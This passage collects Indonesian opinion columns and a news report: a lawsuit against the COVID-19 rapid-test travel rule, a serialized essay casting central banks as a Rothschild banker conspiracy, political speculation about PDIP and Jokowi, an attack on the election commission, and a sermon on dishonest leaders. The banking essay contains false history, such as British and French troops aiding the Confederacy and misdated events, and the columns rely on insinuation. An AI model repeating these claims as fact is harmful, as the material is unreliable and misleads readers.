advokat Surabaya, Muhammad Sholeh dan Singgih Tomi Gumilang, menggugat Ketua Pelaksana Gugus Tugas Percepatan Penanganan Covid-19 kepada Mahkamah Agung (MA), Selasa (30/6/2020). Gugatan tersebut diajukan untuk kali kedua. Kali ini, laporan mereka menegaskan permintaan uji materi agar rapid test ditiadakan. “Kita menuntut dihapus kewajiban rapid test ini, bukan untuk diubah masa berlakunya,” tegas Sholeh kemarin. Aturan yang digugat adalah Ketentuan Huruf F ayat (2) huruf b dalam SE Nomor 9 Gugus Tugas Percepatan Penanganan Covid-19. Sholeh menerangkan, mulanya SE itu mengatur agar penumpang pesawat, kereta api, dan kapal wajib menyertakan rapid test nonreaktif untuk penumpang jika ingin bepergian. Masa berlakunya 3 hari untuk rapid test. Aturan tersebut kemudian diubah menjadi 14 hari atau dua minggu. “Meski sudah diubah, ini tetap menyusahkan penumpang. Sebab, tidak semua penumpang orang kaya,” lanjut Sholeh. Biaya rapid test rata-rata Rp 300 ribu dirasa memberatkan banyak warga yang bepergian. Menurutnya, tidak ada jaminan bahwa dalam kurun waktu tiga hari atau tujuh hari setelah tes itu penumpang tetap bebas Covid-19. Ia juga mempertanyakan orang yang bepergian dengan mobil pribadi, bus antarkota, dan sopir truk tidak diwajibkan. Padahal menurut Sholeh mereka juga rentan. “Bukankah ini kebijakan diskriminatif,” lanjut Sholeh, seperti dilansir JawaPos.com, Rabu (1/7/2020). Meski sudah membawa hasil rapid test, penumpang tetap akan dites suhu badan di bandara, terminal, atau stasiun. Jika suhunya di atas 38, maka dia tidak bisa berangkat walau sudah membawa hasil rapid test nonreaktif. Padahal biaya rapid test cukup mahal. Sholeh memutuskan untuk menggugat aturan tersebut karena sudah banyak keluhan juga dari penumpang tiga moda transportasi. “Kebijakan rapid test ini sangat menyusahkan penumpang pesawat, kereta api, dan kapal laut,” jelasnya. Dalam gugatannya, Sholeh merasa keberatan dengan syarat wajib rapid test bagi penumpang yang akan bepergian menggunakan pesawat, kereta api, mau pun kapal laut selama masa pandemi Covid-19. “Pertama, apa yang menjadi dasar calon penumpang harus mempunyai rapid test? Rapid test itu bukan vaksin, hanya mengetahui seseorang terserang virus atau tidak. Bisa jadi orang dengan hasil reaktif karena sakit flu atau lainnya bukan karena Covid-19,” ujar Sholeh. “Kalau orang yang pergi banyak tentu akan memberatkan calon penumpang,” ungkap Sholeh. Ia mengatakan, kewajiban rapid test itu bertentangan dengan Keputusan Menteri Kesehatan Nomor HK.01.07/Menkes/382/2020 tentang Protokol Kesehatan Bagi Masyarakat di Tempat dan Fasilitas Umum dalam Rangka Pencegahan dan Pengendalian Covid-19. Sholeh juga berharap permohonan uji materi yang sudah mereka layangkan hingga dua kali ini mendapat perhatian dari MA. *** Penulis Wartawan Senior

Jinakkan Segera “Independensi” Bank Sentral

by Dr. Margarito Kamis, SH. M.Hum (Bagian Kedua) Jakarta FNN – Kamis (16/07). Persis seperti oligarki Inggris. oligarki Amerika juga harus menempuh jalan berliku. Memutar dengan berbagai taktik untuk sampai ke penciptaan Bank Sentral. Polanya menyicil. Dari bank nasional milik swasta dengan hak hidup sementara, dilanjutkan lagi untuk waktu tertentu, sampai tibanya UU yang memberi hak mereka hidup selamanya. Jeli mengenal demokrasi dan rule of law. Begitu teridentifikasi sebagai keunggulan tak tertandingi dari mereka. Demokrasi dan rule of law menjadi tatanan paling berharga, dan paling sederhana untuk dikecohkan. Konsep-konsep dasar demokrasi dan rule of law, adalah berkah terbesar untuk mereka. Pemilu boleh saja terlihat bebas. Hasilnya sangat demokratis kata orang. Tetapi siapa yang menjadi calon presiden, dan siapa dari mereka yang harus menang dan harus kalah, terlalu mudah bagi mereka untuk diskenariokan. Setiap kandidat, siapapun mereka, butuh uang besar. Uang adanya ditangan mereka. Bukan ditangan rakyat biasa. Tanam Orang di Pemerintah Kerja secara berjaringan, itulah mereka. Pada titik itulah Nathan Meyer Rothschid dan keluarganya menyelam dalam dunia perbankan. Boleh jadi merupakan penjelasan paling signifikan tentang gagasan Bank Sentral di Amerika. Mirip kemunculan Bank of England. Amerika mengawalinya dengan First American Bank 1791. Bank ini diinisiasi pembentukannya oleh Alexander Hamilton, Menteri Keuangannya George Washington. Mirip Bank of England. Masa berlaku First American Bank 1791 ini hanya 20 tahun. Persis cara mempertahankan kelangsungan Bank of England. Amerika juga segera menemukan kenyataan harus berperang dengan Inggris pada tahun 1812. Kebutuhan membiayai militer menjadi salah satu sebab. Bahkan mungkin saja yang utama. Amerika harus melanjutkan masa operasi Bank itu. Akhirnya disahkan operasi Second American Bank 1816. Masa berlakunya berakhir tahun 1836. Ketika berakhir, Presiden Andrew Jackson yang menurut David S. Schwartz dalam Defyng McCulloch? Jackson’s Bank Veto Reconsidered, dimuat pada Arkansas Law Review Vol 72 Nomor 1 tahun 2019, menyebut bank sebagai “Monster”. Presiden Andrew Jackson tidak mau memperpanjang masa operasi Bank ini. Memang Nicholas Bidle menasihatinya agar tidak memveto, tetapi tidak Jackson tidak memedulikannya. Bukan itu saja. Presiden Jackson juga menarik uang-uang pemerintah dari Second National Bank, atau Bank Swasta. Uang-uang itu dialihkan ke State Bank. Tindakan ini dinilai oleh Hendry Clews, Bankir Eropa, menyakitkan Bank of England. Menurut penilaiannya, tindakan ini mengakhiri aliran uang kertas dari Inggris ke Amerika. Akibatnya, terjadi kepanikan keuangan pada tahun 1837. Menariknya, krisis ini justru memunculkan J.P. Morgan dalam dunia keuangan. Koneksi J.P Morgan dengan Rothschlid segera tercipta sesudah itu. George Peabody menjadikan Junius S. Morgan sebagai suksesornya. Morgan segera terhubung dalam usaha dengan N.M Rothschild Company. Relasi ini dilaksanakan dengan memperbesar jumlah pengapalan besi untuk pembuatan jalan kereta api Amerika. Terlihat sebagai pola standar kelompok Bankir menggolkan gagasannya. Yaitu dengan menciptakan krisis. Dua puluh tahun setelah krisis keuangan tahun 1837, terjadi lagi krisis keuangan di tahun 1857. Krisis itu datang bersamaan dengan berakhirnya perang Amerika-Mexico. Menariknya, Amerika segera memasuki perang saudara antara Uara-Selatan selama tiga tahun sejak 1861, yang bibitnya telah lama tersemai. Lebih menarik lagi, pada tahun 1861 itu juga Abraham Lincoln memasuki kekuasaan sebagai Presiden. Entah disengaja atau tidak, tetapi Abraham Lincoln, Presiden paling dikenang dalam diskursus demokrasi ini, segera menemukan kenyataan yang begitu pahit. Disadari atau tidak, kabinet Lincoln diisi sedikitnya empat menteri, yang bukan tidak cukup dikenalnya, tetapi mereka bekerja untuk agenda para Bankir. Lord Charnwood dalam bukunya yang berjudul “Abraham Lincoln” diterbitkan tahun 1917, mengidentifikasi empat figur yang tidak dikenal Lincoln masuk dalam kabinetnya. Keempat menteri itu adalah yang Seward dari New York, (Menteri Luar negeri), Salmon P. Chase dari Ohio (Menteri Keuangan), Georege Bates dari Missouri (Jaksa Agung), dan Gideon Wells (Pensylvania), menggantikan Comeron perwakilan Pensylvania, yang dikenal korup. Lincoln jelas telah menghadapi masalah dikabinetnya. Rebeca Cristine Roberts dalam tesis Magister pada Birmingham University 2015 mengidentifikasi sejumlah hal menarik. Menurutnya, Seward justru menghendaki agar Lincoln memungkinkan Inggris ikut campur dalam perang itu. Seward berpendapat Ratu Inggris memiliki kedudukan istimewa di Amerika. Inggris dan Amerika menurut Seward dua Negara yang bersahabat. Dalam kenyataannya, Inggris tidak netral dalam perang ini. Menurut identifikasi Petterson, Inggris dan Perancis, negeri yang Bankir teratasnya ditempati oleh Rothschild bersaudara, mengirimkan pasukan membantu Selatan, pemicu perang saudara ini. Perang dan Krisis Lincoln juga menghadapi masalah keuangan. Carisa Peterson, dalam Dady “War” Buck How Lincoln Founded The Civil War and Father The Modern System of American Finance, yang dmuat dalam Lincoln Memorial University Law Review Vol 7 Nomor 1, 2020, menunjukan sepanjang 1857-1861 pendapatan negara merosot sebesar U$41.5% miliar. Sementara pengeluaran pemerintah berkisar U$65 miliar. Ralp H. Petterson menyodorkan fakta yang cukup eksplosif. Menurut Petterson, Salmon P. Chase, Menteri Keuangan Kabinet Abraham Lincoln, yang kelak namanya digunakan sebagai nama sebuah bank “Chase Manhattan Bank” (milik kelompok Rockeffeler), mengancam para bankir lainnya. Ancamannya adalah jika mereka tidak “menerima obligasi” yang dikeluarkannya, maka dia akan “membanjiri negara dengan uang kertas.” Perang itu membutuhkan duit besar. Bankir tahu itu. Perang Inggris dengan Prancis tahun 1815 memberi pengetahuan terbaru tentang masalah ini. Perang memerlukan peralatan, dan hal yang lain berkaitan. Lincoln harus menanganinya dengan cepat. Tidak mau bergantung dan dipermainkan bankir, Lincoln segera memutuskan sikapnya tidak meminjam uang dari bankir. Menurut Petterson, Lincoln juga mengambil sikap tidak menciptakan uang yang berbunga. Dia segera mendirikan State Bank, tindakan yang diam-diam dinantikan dan dikehendaki oleh Bankir internasional, yang bekerja melalui Salmon P. Chase, menteri keuangannya. Cara Loloskan Agenda Lincoln terjebak? Itu satu hal. Tahun 1863 pemerintahan Lincoln segera menemukan National Currency Act, yang setahun kemudian diubah menjadi National Banking Act. UU ini menjadi dasar pendirian National Bank. Bank ini dirancang untuk menyediakan uang yang dipinjamkan kepada pemerintah. Untuk tujuan itu mereka dapat “mecetak” (tanda petik dari saya) uang kertas dalam jumlah besar. Uang ini, tulis Petterson lebih jauh, tidak hanya tidak didukung emas, tetapi juga bebas utang. Dalam penilaian Petterson, Lincoln dengan tindakannya itu, memasuki permainan berbahaya. Dia menantang bankir Internasional. Tetapi Lincoln tak memedulikan. Telah berhasil menjadikan Salmon P. Chase sebagai proxy mereka dalam pemerintahan Lincoln, bankir internasional segera meluncurkan gagasan pajak progresif ke kongres. Bukan Lincoln, tetapi Salmon P. Chase yang menggemakan gagasan itu. Gagasan ini terlihat logis, karena kala itu pendapatan negara telah merosot jauh. Gagasan pajak progress dirancang dalam skema berikut. Pendapatan sebesar U$10.000 dikenakan pajak 3%. Dan pendapatan melebihi jumlah itu dikenakan pajak sebesar 5%. Terlihat kebijakan ini akan menambah pendapatan negara. Digambarkan oleh Paul Post dalam “Lincoln Gamble”, disertasi pada Rutledge University 2009, Lincoln memunculkan gagasan menghentikan perang. Kepada mereka di Selatan yang memberontak, akan diberi Amensty. Dan Selatan akan direkonstruksi, dibangun. Sayangnya gagasan ini mendapat penolakan dari jaringan Bankir, yang ada di Kongres. Kenneth Stamp, justru menghendaki rekonstruksi, tanpa disertai hal lainnya. Hasrat ini terlihat terlalu minim pada level rasionalitasnya. Untuk tujuan menyediakan biaya rekonstruksi, maka pendapatan negara harus diperbesar. Dengan demikian, maka UU tentang pendapatan nasional muncul sebagai sesuatu yang mutlak disediakan. Lincoln tidak menyukai gagasan ini. Lincoln menyatakan akan memveto UU itu. Kenyataannya, Revenue Act 1862, dikenal dengan nama Stamp Tax, tetapi dibuat. Bersamaan dengan itu keluar juga : Legal Tender Act 1862. Setahun kemudian Kongres mengeluarkan lagi National Currency Act 1863, yang diubah menjadi National Bangkin Act 1864. Dalam Legal Tender Act, Menteri Keuangan, yang tidak lain adalah Salmon P. Chase diberi wewenang menerbitkan paper note untuk membayar utang pemerintah. Juga mencetak uang kertas sebesar U$ 150.miliar. Uang in dikenal dengan greenback. Leluasakah para bankir dengan National Banking Act 1864? Yang memberi pemerintah kewenangan mendirikan State Bank? Kelak jelas pada semua aspeknya, kebijakan ini dinilai Bankir sebagai kebijakan yang meruggikan mereka. Dengan alasan tidak senapas dengan mekanisme pasar. Sukseskah Lincoln dengan National Banking Act itu? Tidak. National Banking Act justru menandai kemenangan para Bankir. Mengapa? Memang setelah tahun itu dibuat Michigan Act 1837. Tetapi Act ini mengatur pendirian Bank pakai charter. Persis seperti Inggris pada tahun 1694. Praktis sejak 1837, tidak ada lagi UU yang menjadi dasar kelangsungan bank national. Bankir, sekali lagi, sukses besar dengan National Banking Act 1864 itu. Dimana letak suksesnya? National Banking Act itu menjadi dasar 1500 Bank yang telah beroperasi setelah 1837 memiliki pijakan sebagai bank nasional. Pola ini terlihat mirip pola yang dipakai di Inggris. Persis Inggris dengan Tonage Act dan Continuance Act. Mereka menyamarkan tujuan utamanya. Lincoln dilantik lagi sebagai Presiden untuk periode keduanya pada tanggal 4 April 1865. Memang telah begitu banyak UU dibuat, termasuk The Banking Act 1864. Tetapi entah apa, karena Lincoln masih terlihat berseberangan dengan rencana oligarkis itu, atau sebab lain, mati ditembak John Wilkes Boot dan mati pada ta tanggal 14 April 1865. (Bersambung)

PDIP di Persimpangan Jalan & Intelijen Yang Eror

by M. Rizal Fadillah Jakarta FNN – (16/07). Ini sekedar iseng dan analisa "gampangan" saja. Analisis soal PDIP sebagai "the rulling party". Sebutan "the rulling party" juga agak setengah hati, karena fakta politiknya antara Jokowi sebagai Presiden dengan PDIP, nampaknya belum merupakan satu kesatuan yang utuh. Untuk itu, Megawati perlu berulang-ulang membuat pernyataan untuk meyakinkan diri dan orang lain bahwa Jokowi adalah "petugas partai". Bahwa Jokowi menjadi Presiden itu mendapat dukungan penuh dari PDIP tidaklah diragukan Dalam hal status Jokowi sebagai "kader" PDIP tentu saja banyak yang meragukan. Lebih kental pada adanya kesamaan kepentingan yang bersimbiosis mutualisme. Dalam perjalanannya, kepentingan masing-masing menjadi takaran dari kontribusi dan peran. Kadang-kadang mesti terlebih dahulu dinegoisasikan atau mungkin "diintimidasi". Berbeda dengan pada saat Soeharto berkuasa. "The rulling party" Soeharto adalah Golkar. Soeharto menjadi pengendali dan penentu utama segala kebijakan di Golkar. Kepentingan keduanya bersatu. Golkar sulit untuk digoyang, karena hal itu sama saja dengan menggoyang Presiden. Demikian juga sebaliknya. Kini PDIP berada di simpang jalan. Salah satunya karena "terkunci" oleh persoalan pengajuan RUU HIP. PDIP mati-matian berjuang menghadapi gempuran publik, khususnya umat Islam dan purnawirawan TNI-POlri. Namun Jokowi sebagai "petugas partai" tetap saja santai dan meliuk-liuk berkelit. "Ini (RUU HIP) 100 persen adalah inisiatif dari DPR. Jadi, Pemerintah tidak ikut campur sama sekali", kilah Jokowi. Secara normatif "tidak ikut campur" mungkin benar. Tetapi sudah menjadi pengetahuan umum bahwa di DPR itu berhimpun partai-partai koalisi yang mendukung Presiden. Ada enam partai di sana, yaitu PDIP, Golkar, Gerindra, Nasdem, PKB dan PPP. Presiden layak dan mampu untuk "mengkoordinasikan" partai-partai koalisi pendukungnya. Jadi benarkah "sama sekali" tidak ikut campur? Benarkah Presiden tidak tau adanya RUU HIP? Bukankah RUU tersebut ada relevansinya dengan BPIP yang tak lain adalah badan buatan Presiden sendiri? Benarkah Presiden kecolongan dengan adanya RUU HIP? Padahal presiden punya tiga orang menteri yang menjadi Ketua Umum Partai yang punya kursi di senayan, yaitu Prabowo Subioanto, Airlangga Hartarto dan Suharso Monoharpa. Lalu, apa saja kerja dari banyaknya lembaga intelijen yang berada di bawah kordinasi Badan Intelijen Negara? Puluhan triliun anggaran Negara dikeluarkan setiap tahun untuk membeiayai lembaga-lembaga intelijen TNI, Polisi Kejaksaan, dan Kementerian Pertahanan. Semua lembaga-lembaga intelijen tersebut berada di bawah kordinasi BIN. Presiden ko bisa kecolongan atau tidak tau adanya RUU HIP? Bahaya dong Negara kalau intelijen juga kecolongan atau eror. Pernyataan normatif Presiden, sangat berdampak politis, khususnya bagi PDIP sebagai partai terbesar pendukung Presiden. Partai berlambang kepala banteng ini diduga menghadapi situasi berat. Tertekan akibat usulan RUU HIP yang dikaitkan dengan isu dan kebangkitan faham Komunisme-PKI. Persoalan isu Orde Lama, Soekarnoisme, serta Komunisme bermula pada Visi Misi dan AD/ART Partai sebagai platform perjuangan Partai. Reaksi yang datang secara masif adalah suatu hal yang wajar. Tak ada asap jika tak ada api. Jadi bukan gorengan. Persimpangan jalan pertama adalah antara melakukan klarifikasi atau mengubah AD/ART Partai? Tujuannya, agar tidak ditafsirkan bahwa misi Partai tidak lain adalah untuk menggoyang, atau bahkan mengganti Pancasila 18 Agustus 1945 sebagai ideologi dan dasar negara. Persimpangan jalan kedua, yakni antara "the rulling party" dalam arti riel atau bersifat semu atau quasi? Jika hanya pro-forma, yakni PDIP itu sebenarnya tidak berkuasa, maka PDIP dapat mengambil porsi berseberangan dengan Presiden. Artinya Jokowi bisa saja dimakzulkan. PDIP dapat menyiapkan kadernya untuk jabatan Wapres sebagai pasangan Ma'ruf Amin, yang secara konstitusi naik menjadi Presiden. Keuntungan politisnya, PDIP menjadi motor penampung dan penyalur aspirasi rakyat, yang memang dirasakan sudah tidak mempercayai lagi Jokowi sebagai Presiden. Keuntungan lain adalah Kyai Ma'ruf yang "uzur", sehingga meskipun berstatus sebagai Wapres, akan tetapi nantinya PDIP akan menjadi penentu kebijakan. Menjadikan Wapres dari kader PDIP tentu mudah saja berdasarkan lobi-lobi sebagai Partai pemilik suara terbanyak. Memakzulkan Jokowi dapat menjadi bagian dari pemulihan nama baik PDIP setelah diporakporandakan oleh RUU HIP. Apakah Jokowi akan diam saja menghadapi rencana pemakzulan? Belum tentu. Bahkan kemungkinan tidak diam. Siapa tahu Pemerintah mengajukan permohonan pembubaran PDIP ke MK atas dasar ideologi atau asas Partai yang bertentangan dengan UUD 1945 tanggal 18 Agustus 1945. Nah, karena politik itu dinamis. Segalanya serba mungkin, maka biarlah apa yang nanti rakyat akan lakukan untuk mewujudkan kekuatan atau kedaulatannya sendiri. Jokowi turun atau PDIP bubar. Atau mungkin terjadi hal yang spektakuler, yaitu menimpa kedua-duanya. Jokowi turun dan PDIP bubar. Kita semua tidak tahu karena panggung politik itu sering membuat kejutan. Penulis adalah Pemerhati Politik dan Kebangsaan.

MA Sempurnakan Kebobrokan KPU Selama Ini

by Chandra Tirta Wijaya Jakarta FNN – Kamis (16/07). Pada Jum’at tanggal 3 Juni 2020 lalu, Mahkamah Agung mengupload Keputusan Nomor 44 P/HUM/2019 ke publik. Putusan tersebut, menyatakan membatalkan Pasal 3 ayat (7) Peraturan Komisi Pemilihan Umum (KPU) Nomor 5 Tahun 2019 yang diuji materi oleh Rachmawati Sorkarnoputroidan kawan-kawan. Padahal Pasal 3 ayat (7) Peraturan KPU Nomor 5 Tahun 2019 inilah yang dijadikan sebagai alasan hukum oleh KPU untuk menetapkan pasangan Jokowi-Ma’ruf Amin sebagai pemenang Pilpres 2019. Alasan Mahkamah Agung, karena pasal tersebut bertentangan dengan peraturan yang lebih tinggi, yaitu Undang-Undang Nomor 7 Tahun 2017 tentang Pemilihan Umum. Putusan Nomor 44 P/HUM/2019 dibuat oleh Hakim Agung Dr. Supandi SH. M.Hum sebagai Ketua Majelis dan Dr, Irfan fachruddin SH dan Is Sudaryono SH. MH. masing-masing sebagai hakim anggota. Salah satu amar putusan lainnya menyatakan bahwa “Pasal 3 ayat (7) Peraturan KPU Nomor 5 tahun 2019 tidak mempunyai kekuatan hukum yang mengikat”. Pembaca FNN yang budiman. Tulisan tidak untuk mempersoalkan sah-tidaknya pasangan Jokowi-Ma’ruf Amin sebagai Prsiden dan Wakil Presiden. Sama sekali tidak. Biarkan perdebatan soal sah-tidaknya itu menjadi ranahnya para ahli hukum tata Negara. Tulisan ini hanya menyoroti cara kerja KPU periode 2017-2022 selama ini nyata-nyata memang bobrok, amburadul, tidak profesional dan amatiran. Putusan Mahkamah Agung yang telah diputus tanggal 28 Oktober 2019 itu, bukal membuat norma baru. Layaknya sebuah undang-undang yang baru diundangkan. Sehingga undang-undang baru tersebut, tidak boleh diberlakukan terhadap suatu peristiwa hukum yang sudah berlalu. Tidak berlaku surut. Putusan Mahkamah Agung itu hanya menegaskan bahwa norma yang digunakan KPU sebagai dasar untuk penetapan kemenangan Capres dan Cawapres cacat hukum. Bahasa kerennya cacat konstitusional. Sebab norma yang dibuat KPU nyata-nyata bertentangan dengan dua peraturan perundang-udangan di atasnya, yaitu Undang-Undang Nomor 7 Tahun 2017, dan UUD 1945 pasal 6A. Bahasa agama, seperti imam yang memimpin sholat berjamaa. Imam kentut di rakaat pertama. Namun imamnya tetap ngotot melanjutkan sholat berjamaan sampai rakaat terakhir. Imamnya tidak mau mundur untuk memberikan kesempatan kepada jamaah sholat yang lain menjadi imam. Untuk itu, ke depan KPU jangan lagi sok tau, sok hebat, dan sok pintar hukum seperti KPU periode sekarang. Akibatnya, KPU yang sok paling mengerti aturan, berani menciptakan norma hukum baru, dengan sengaja menabrak dua produk hukum di atasnya. Kesian kan Pak Jokowi dan Pak Ma’ruf Amin. Bisa menjadi tidak nyaman menjalankan tugas kenegaraan sebagai Presiden dan Wakil Presiden. Publik bisa jadi mempertanyakan legalitas Prasiden dan Wakil Presiden, hanya karena keangkuhan dan kasombongan KPU periode 2017-2022 ini. Semoga tidak berpengaruh terhadap hubungan Indonesia dengan komunitas internasional. Sesuatu yang sebenarnya nggak perlu terjadi, kalau saja KPU tidak bobrok, tidak amatiran dan tidak amburadul. Kebijakan KPU yang membuat peraturan yang bertabrakan dengan dua perundang-undangan di atasnya, telah mengkonfirmasi bahwa KPU priode 2017-2022 ini sangat tidak kapabel dan tidak profesional. Selian itu, KPU juga miskin pemahaman terhadap hirarki dan tata urutan perundang-undangan yang berlaku di Indonesia. Untuk memahami undang-undang yang mengatur bidang tugas dari KPU saja minim, asal-asalan dan amatiran. Bagaimana mungkin bisa memahami undang-undang di luar bidang tugas KPU? Terdapat beberapa masalah yang menimpa KPU periode ini sebagai gambaran bahwa KPU tidak professional melaksanakan tugas dan fungsinya. Pertama, dimulai dari terpilihnya Arief Budiman sebagai Ketua KPU. Pada saat pemilihan tujuh komisoner KPU periode 2017-2022 di Komisi II DPR, dini hari tanggal 5 April 2017, Arief Budiman memperoleh suara paling kecil. Arief hanya mendapat 30 suara. Arief adalah Komisioner KPU terpilih nomor paling buntut dari tujuh orang. Arief Budiman bisa menjadi Ketua KPU. Ini aneh tapi nyata, namun benar-benar terjadi. Biasanya yang terpilih menjadi Ketua pada lembaga apa saja adalah pemenang suara nomor satu sampai tiga. Nah, suara terbanyak pertama ada dua orang, yaitu Promono Ubaid Tanthowi dan Wahtu Setiawan. Masing-masing mendapatkan 55 suara. Suara terbanyak kedua juga dua orang. Diraih oleh Ilham Saputra dan Hasyim Asy’ari, masing-masing memperoleh 54 suara. Selanjutnya adalah Viryan Azis yang mendapatkan 52 suara, dan Evi Novida Ginting Manik dengan 48 suara. Peraih suara terkecil Arief Budiman, dengan 30 suara. Namun Arief bisa terpilih menjadi Ketua KPU. Luar biasa Arief. Kedua, daftar pemilih bermasalah sebanyak 17,5 juta orang. Ada tiga tanggal, dimana manusia lahir pada ketiga tanggal tersebut banyak 17,5 juta orang. Yaitu pada tangga 1 Juli, 31 Desember dan 1 Januari. Meskipun telah dipersoalkan oleh kubu Capres Prabowo Subianto, namun tetap dianggap angin lalu oleh KPU. Ketiga, orang gila ikut memilih dalam pemulu. Pada Pemilu 2019 lalu dapat diikuti oleh orang dengan katagori gangguan jiwa atau ingatan. Sebanyak 54.295 orang dengan katagori gangguan jiwa atau ingatan ikut memilih. Tidak mengherankan kalau di dunia ini, hanya di Indonesia orang dengan katagori gangguan jiwa atau ingatan ikut menggunakan hak suaranya dalam pemilu. Hasilnya, ya KPU yang seperti ini. Ketiga, situng KPU yang dirancang untuk tidak bisa menjumlah dengan benar. Prosesnya yang sangat lambat. Servernya tidak berada di gedung KPU. Tetapi di luar gedung KPU. Yang lebih tragis lagi, paswood data computer pun tidak dikuasai oleh orang-orang di dalam KPU. Sampai-sampai muncul peratnyaan, siapa sebenarnya orang dari luar KPU yang menguasai paswood computer KPU itu? Keempat, kematian petugas Kelompok Penyelenggaran Pemungungutan Suara (KPPS) sebanyak 894 orang. Kematian manusia sebanyak ini tidak pernah diotopsi dan disidik untuk bisa diketahui apa saja penyebab kematian mereka. Baik KPU maupun Bawaslu Pusat tidak meminta dokter untuk melakukan otopsi terhadap mayat 894 petugas KPPS, sehingga bisa diketahi penyebab kematian. Kelima, tertangkapnya komisioner KPU Wahyu Setiawan dalam kasus Harun Masiku. Operasi Tangkap Tangan (OTT) yang dilakukan KPK terhadap Wahya Setiawan yang sering tampil membela kebijakan KPU di media massa, telah mengkonfirmasi bahwa kerja-kerja KPU selama ini bermasalah. Bahwa kerja KPU memang bobrok, amburadul, amatiran, dan tidak profesional. Merusak tatanan demokrasi. Mungkinkah Wahtyu Setiawan sendiri dalam kasus Harun Masiku ini? Memang, sampai sekarang belum terbukti dan petunjuk adanya keterlibatan komisioner KPU yang lain. Namun public menyangsikan Wayu Setiawan bekereja sendirian. Potensi adanya keterlibatan Komisioner KPU yang lain terbuka lebar. Keenam, dipecatnya komisioner KPU Evi Novinda Ginting Manik. Pada tanggal 18 Maret 2020, Dewan Kehormatan Penyelenggara Pemilu (DKPP) dalam sidangnya telah memecat Evi Novida Ginting Manik. Alasan DKPP, Evi dianggap terbukti melakukan Pelanggaran Kode Etik dan Pedoman Penyelenggara Pemilu. Kasusnya terkait dengan perolehan suara caleg dari Partai Gerindra dari Dapil Kalimantan Barat, atas nama hendri Makaluasc. Ketujuh, Ketua KPU Aief Budiman dan tiga Komisioner KPU lainnya mendapat peringatan keras dan terakhir. Selain pemecatan terhadapt Evi Novida Ginting Manik, DKPP juga telah mengeluarkan peringatan keras dan terakhir kepada Arif Budiman dan tiga anggota KPU lainnya, Viryan Azis, Ilham Saputra dan Promono Abaid Tanthowi. Dengan demikian, total Komisioner KPU yang bermasalah sudah enam dari tujuh orang, yaitu Wahyu Setiawan, Evi Novida Ginting Manik, Arif Budiman, Viryan Azis, Ilham saputra dan Promono Ubaid Tanthowi. Sudah enam orang Komisioner KPU yang bermasalah. Tinggal satu orang yang belom bermasalah, atau kemungkinan bermasalah, namun belum diketahui publik, yaitu Hasyim Asy’ari. Kedelapan, dan baru diketahui oleh minggu lalu adalah Putusan dari Mahkamah Agung Nomor 44 P/HUM 2019. Dengan keluarnya putusan ini, maka Mahkamah Agung telah ikut sempurnakan kebobrokan, keamburadulan, ketidak profesionalan dan keamatiran KPU selama ini. Lengkaplah sudah keterlibatan semua Komisioneer KPU. Sempurna sudah KPU bermasalah. Pertanyaannya, masih pantaskah KPU periode 2017-2022 ini dipercaya sebagai penyelenggaran pemilu yang benar dan kredibel? Masih layakkah dijadikan sebagai wasit pada Pemilu Kepala Daerah di bulan Desember 2020 nanti? Atau sebaliknya, dengan Putusan Mahkamah Agung Nomor 44 P/HUM/2019, sebaiknya semua Komisioner KPU dipecat oleh DKPP? Setelah itu, segera dipilih dan diangkat lagi Komisioner yang baru. Yang pasti KPU periode 2017-2022 pimpinan Arief Budiman ini sudah cacat moral, cacat hukum, cacat demokrasi dan cacat profesionalisme (amatiran). Kelau sudah begitu, produk domokrasi apapun yang dihasilkan, tetap saja bermasalah. Seperti kata orang-orang kampong “garbage in, garbage out”. Masuknya sampah, ya hasil yang dikerjakan juga sampah. Penulis adalah Anggota DPR Priode 2009-2014.

Bahaya Kalau Punya Pemimpin Culas

by M Rizal Fadillah Pemimpin culas itu hilang rasa malunya. "Tuli" terhadap nasehat yang bernilai moral. Selalu mengikuti arahan yang memberi keuntungan materi dan lahir semata. Pemimpin culas adalah budak dari harta dan tahta. Harta dan jabatan adalah segala-galanya. Jakarta FNN – Rabu (15/07). Kepemimpinan itu sangat penting untuk membawa yang dipimpin pada nilai dan sasaran yang telah disepakati. Tujuannya adalah agar sejahtera dan bahagia dunia serta akhirat kelak. Kepercayaan merupakan modal dari kesuksesan. Pemimpin iru harus amanah. Pemimpin culas pasti dibenci. Culas itu "lazy, indolen, deceitful, dishonest". Menurut KBBI culas itu memiliki dua makna. Pertama, malas sekali, tidak tangkas, lamban. Kedua, curang, tidak jujur, tidak lurus hati. Pemimpin culas adalah pemimpin yang lamban, curang, dan tidak jujur. Pemimpin yang culas terlihat tidak berkhidmat kepada mereka yang dipimpinnya. Kepentingan diri sangat kuat. Sering melakukan langkah atau kebijakan yang bersifat manipulatif. Dalam agama, pemimpin culas itu sangat tercela. Mempunyai bermasa depan yang suram. Dari Ma'qil bin Yasaar ia berkata, saya mendengar Rosulullah SAW bersabda : "Tidaklah seorang hamba yang diberi amanah oleh Allah untuk memimpin bawahannya yang pada hari kematiannya ia masih berbuat curang atau menipu rakyatnya melainkan Allah haramkan surga atasnya". (H.R Muttafaq 'Alaih). Hadits ini menggambarkan suatu watak yang sulit berubah hingga kematiannya "yamuutu yauma yamuutu". Watak itu adalah culas "al ghasysyu" yang menjadi habitat untuk senantiasa berlaku curang dan gemar untuk menipu rakyatnya sendiri "wa huwa ghasysyun liro'iyyatihi". Disamping ancaman Allah yang keras, juga pemimpin culas membawa kerusakan besar bagi diri dan lingkungannya. Tiga bahaya yang akan terjadi bila mempunyai pemimpin yang culas, yaitu : Pertama, hancur iman. Keimanan pada hari akhir kelak, menjadi hilang karena kekuasaan duniawi. Akherat tidak perlu untuk dikhawatirkan. Tetapi malah diabaikan. Bahkan diolok-olok. Kedua, pemimpin yang culas mendapat predikat buruk, baik melalui caci maki lisan, tulisan, ataupun gambar simbolik. Menjadi buah tutur yang buruk di kalangan masyarakat. Penilian yang buruk itu, baik pada masih menjabat maupun sudah pengsiun nantinya. Ketiga, punya banyak musuh. Apakah itu rakyat yang dipimpin ataukah teman "sekongkolnya” sendiri? Friksi kepentingan mudah terjadi hal yang lamrah. Pemimpin culas tega untuk berkhianat pada teman "seperjuangan" sendiri. Demi menjaga posisinya. Pemimpin culas hilang rasa malunya. "Tuli" terhadap nasehat yang bernilai moral. Selalu mengikuti arahan yang memberi keuntungan materi dan lahir semata. Pemimpin culas adalah budak dari harta dan tahta. Harta dan jabatan adalah segala-galanya. Kita bisa menilai sendiri. Adakah diantara para pemimpin negara kita termasuk dalam katagori pemimpin-pemimpin yang culas tersebut? Tengok Presiden, para Menteri, para Pimpinan Partai, para pajebata eselon di Kementerian dan Lembaga. Adakah 